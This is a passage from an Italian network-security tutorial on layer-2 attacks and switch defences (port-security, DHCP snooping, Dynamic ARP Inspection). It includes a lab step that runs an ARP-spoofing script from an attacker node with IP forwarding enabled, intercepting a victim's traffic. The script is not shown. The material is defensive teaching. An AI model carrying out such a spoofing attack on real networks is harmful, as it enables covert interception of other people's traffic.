Le tre righe evidenziate sono il cuore: port-security tappa il MAC flooding, DHCP snooping decide da quali porte può arrivare un’offerta DHCP, e Dynamic ARP Inspection (DAI) usa proprio la tabella costruita da DHCP snooping per scartare le reply ARP che non combaciano.

Con Open vSwitch, che non ha DAI, l’equivalente si ottiene con regole OpenFlow che fissano la coppia IP–MAC per porta, oppure limitando a una porta sola il traffico DHCP server (udp src port 67).

Lab

Nel lab lab-l2.clab.yml:

Avviate una cattura su victim (tcpdump -i eth1 -n).
Dal nodo attacker, lanciate lo script scapy di ARP spoofing e attivate ip_forward.
Da victim, fate ping 10.0.0.1 e osservate su attacker (con tcpdump) che i pacchetti passano da lì.
Guardate come cambia ip neigh su victim.

Domanda: perché la vittima non si accorge di nulla, anche se il ping continua a funzionare?

Perché l'attaccante inoltra i pacchetti (ip_forward=1): la connessione resta viva, la latenza aumenta di pochissimo, e a livello 3 (IP) tutto sembra normale. L'unico segno è a livello 2: il MAC associato al gateway è cambiato. È per questo che la difesa sta sullo switch e guarda i MAC, non sugli host che guardano gli IP. Uno strumento come arpwatch sull'host può segnalare il cambio di MAC, ma è un allarme, non una difesa: non impedisce l'attacco.

Conclusione

I tre attacchi condividono la stessa radice: a livello 2 nessuno verifica l’identità. La difesa non sta nel rendere “più sicuri” gli host, ma nel dare allo switch il compito di controllare chi dice cosa — port security, DHCP snooping, Dynamic ARP Inspection. Sono funzioni che quasi ogni switch gestito ha e che quasi nessuno attiva.

C’è però un pezzo che manca: fin qui abbiamo dato per scontato che le porte siano già assegnate alla VLAN giusta. Nel prossimo capitolo vediamo come un attaccante può saltare da una VLAN all’altra, e perché la VLAN nativa è il punto debole.

Prossimo nella serie: 03 · VLAN hopping e hardening degli switch · Torna alla roadmap